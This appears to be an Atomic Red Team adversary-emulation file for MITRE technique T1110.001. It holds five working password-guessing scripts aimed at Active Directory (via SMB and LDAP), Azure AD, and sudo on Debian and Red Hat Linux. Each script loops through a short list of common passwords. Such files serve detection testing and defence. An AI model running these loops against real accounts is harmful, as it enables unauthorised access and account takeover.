attack_technique: T1110.001
display_name: 'Brute Force: Password Guessing'
atomic_tests:
- name: Brute Force Credentials of single Active Directory domain users via SMB
  auto_generated_guid: 09480053-2f98-4854-be6e-71ae5f672224
  description: |
    Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller
  supported_platforms:
  - windows
  input_arguments:
    user:
      description: Account to bruteforce
      type: String
      default: '%username%'
  executor:
    name: command_prompt
    command: |
      echo Password1> passwords.txt
      echo 1q2w3e4r>> passwords.txt
      echo Password!>> passwords.txt
      echo Spring2022>> passwords.txt
      echo ChangeMe!>> passwords.txt
      @FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL

- name: Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)
  auto_generated_guid: c2969434-672b-4ec8-8df0-bbb91f40e250
  description: |
    Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos
  supported_platforms:
  - windows
  input_arguments:
    user:
      description: Account to bruteforce
      type: String
      default: $ENV:USERNAME
    passwords_path:
      description: List of passwords we will attempt to brute force with
      type: Path
      default: PathToAtomicsFolder\T1110.001\src\passwords.txt
    domain:
      description: Active Directory domain FQDN
      type: String
      default: $env:UserDnsDomain
    auth:
      description: authentication method to choose between "NTLM" and "Kerberos"
      type: String
      default: NTLM
  executor:
    name: powershell
    elevation_required: false
    command: |
      if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
        Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
        exit 1
      }

      [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
      $di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

      $passwordList = Get-Content -Path #{passwords_path}
      foreach ($password in $passwordList){
        $credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}")
        $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
        try {
          Write-Host " [-] Attempting ${password} on account #{user}."
          $conn.bind()
          # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
          Write-Host " [!] #{user}:${password} are valid credentials!"
        } catch {
          Write-Host $_.Exception.Message
        }
      }
      Write-Host "End of bruteforce"

- name: Brute Force Credentials of single Azure AD user
  auto_generated_guid: 5a51ef57-299e-4d62-8e11-2d440df55e69
  description: |
    Attempt to brute force Azure AD user via AzureAD powershell module.
  supported_platforms:
  - azure-ad
  input_arguments:
    username:
      description: Account to bruteforce. We encourage users running this atomic to add a valid microsoft account domain; for eg "bruce.wayne@<valid_ms_account.com>"
      type: String
      default: bruce.wayne@contoso.com
    passwords:
      description: List of passwords we will attempt to brute force with
      type: String
      default: Password1`n1q2w3e4r`nPassword!
  dependency_executor_name: powershell
  dependencies:
  - description: |
      AzureAD module must be installed.
    prereq_command: |
      try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
    get_prereq_command: |
      Install-Module -Name AzureAD -Force
  executor:
    name: powershell
    elevation_required: false
    command: |
      Import-Module -Name AzureAD

      $passwords = "#{passwords}".split("{`n}")
      foreach($password in $passwords) {
        $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
        $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
        try {
          Write-Host " [-] Attempting ${password} on account #{username}."
          Connect-AzureAD -Credential $Credential 2>&1> $null
          # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
          Write-Host " [!] #{username}:${password} are valid credentials!`r`n"
          break
        } catch {
          Write-Host " [-] #{username}:${password} invalid credentials.`r`n"
        }
      }
      Write-Host "End of bruteforce"

- name: SUDO brute force Debian
  auto_generated_guid: 464b63e8-bf1f-422e-9e2c-2aa5080b6f9a
  description: |
    Brute force the password of a local user account which is a member of the sudo'ers group on a Debian based Linux distribution.  
  supported_platforms:
    - linux
  dependency_executor_name: sh
  dependencies:
  - description: |
      Check if running on a Debian based machine.
    prereq_command: |
      if grep -iq "debian\|ubuntu\|kali" /usr/lib/os-release; then echo "Debian"; else echo "NOT Debian"; exit 1; fi
      if grep -Rq "pam_tally" /etc/pam.d/*; then echo "pam_tally configured"; exit 1; fi
      if [ -x "$(command -v sudo)" ]; then echo "sudo installed"; else echo "install sudo"; fi
      if [ -x "$(command -v openssl)" ]; then echo "openssl installed"; else echo "install openssl"; fi
    get_prereq_command: |
      apt-get update && apt-get install -y openssl sudo
  executor:
    elevation_required: true 
    command: |
      useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password) target
      su target

      PASSWORDS=(one two three password five); \
          touch /tmp/file; \
          for P in ${PASSWORDS[@]}; do \
              date +"%b %d %T"; \
              sudo -k && echo "$P" |sudo -S whoami &>/tmp/file; \
              echo "exit: $?"; \
              if grep -q "root" /tmp/file; then \
                  echo "FOUND: sudo => $P"; break; \
              else \
                  echo "TRIED: $P"; \
              fi; \
              sleep 2; \
          done; \
          rm /tmp/file
    cleanup_command: |
      userdel target
    name: sh

- name: SUDO brute force Redhat
  auto_generated_guid: b72958a7-53e3-4809-9ee1-58f6ecd99ade
  description: |
    Brute force the password of a local user account which is a member of the sudo'ers group on a Redhat based Linux distribution.  
  supported_platforms:
    - linux
  dependency_executor_name: sh
  dependencies:
  - description: |
      Check if running on a Redhat based machine.
    prereq_command: |
      if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then echo "Redhat"; else echo "NOT Redhat"; exit 1; fi
      if grep -Rq "pam_faillock" /etc/pam.d/*; then echo "pam_faillock configured"; exit 1; fi
      if [ -x "$(command -v sudo)" ]; then echo "sudo installed"; else echo "install sudo"; fi
      if [ -x "$(command -v openssl)" ]; then echo "openssl installed"; else echo "install openssl"; fi
    get_prereq_command: |
      yum -y update && yum install -y openssl sudo
  executor:
    elevation_required: true 
    command: |
      useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password) target
      su target

      PASSWORDS=(one two three password five); \
          touch /tmp/file; \
          for P in ${PASSWORDS[@]}; do \
              date +"%b %d %T"; \
              sudo -k && echo "$P" |sudo -S whoami &>/tmp/file; \
              echo "exit: $?"; \
              if grep -q "root" /tmp/file; then \
                  echo "FOUND: sudo => $P"; break; \
              else \
                  echo "TRIED: $P"; \
              fi; \
              sleep 2; \
          done; \
          rm /tmp/file
    cleanup_command: |
      userdel target
    name: sh
